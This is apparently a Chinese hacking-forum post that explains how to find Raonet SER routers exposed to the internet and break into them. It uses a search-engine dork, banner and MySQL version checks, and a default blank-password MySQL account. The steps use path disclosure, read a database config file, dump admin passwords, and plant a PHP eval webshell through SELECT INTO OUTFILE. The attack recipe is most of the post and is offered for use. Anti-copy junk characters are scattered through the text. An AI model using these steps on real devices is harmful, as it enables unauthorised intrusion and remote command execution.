寻找存在漏洞的路由器方法：
: E0 C( g. b& ?4 V) t& i
9 ~7 f- u4 ?( [1：google搜索'Raonet Subscriber Ethernet Router'
. E* a3 W- v8 Q# n+ W7 r! V; ~ ?
1 X% I/ O0 K( R5 J% v1 m2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr20017 }: [$ v7 i# n8 p4 i
2 Y( h8 o& U, p0 r8 O3 V
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。7 \ Y0 X/ V$ Y/ x' F* u8 u
+ i5 n2 ~& ?" }" r2 {1 ]$ l//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......0 G& U- k; P" G8 g
# X; F2 M: A; d& b% D) D
+ a- m1 S% W0 V7 x
: t- A. S& T' P' o% i) P4 U入侵步骤：
# V3 N- q+ y, s" r _% k7 g1 [8 u, y
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php5 e6 D( A% C: |/ A
: d& F) W! n5 e3 [/ q3 Y2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc3 ]& Z4 d) J5 p/ H, [* q# }9 O
3：得到密码后连接，查看GUI管理密码：
2 ~8 T, ?2 U L7 Xuse ser_500
2 f: Q" h9 p! rselect id,passwd from user;4 Y: n* ^* x( y9 p: ]* N
4:通过数据库写入webshell，执行命令：
1 [2 C( S5 g: Z6 Y6 u; ouse mysql;( E, A- ~+ a. u9 a) F
create table ok(cmd TEXT);
3 F' D2 I% ?9 A3 y1 binsert into ok values("<?php @eval($_POST[cmd])?>");
& ^* q( P! x2 _2 }4 r$ Xselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";" m3 U. ^: o* k( A8 Z4 \( Y7 e* ^
drop table ok;6 t7 S! D; x2 G! F% l; n# M2 |8 B& W
, r. F' i$ p5 d: g4 ]$ W
5:连接后门shell.php 9 I6 [* e: X. v
# G" m: M: I' {
6. 搞定！
# ]& Y! m% o+ z3 P% w, f7 C7 o% d8 x, q- l5 H8 I
|
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50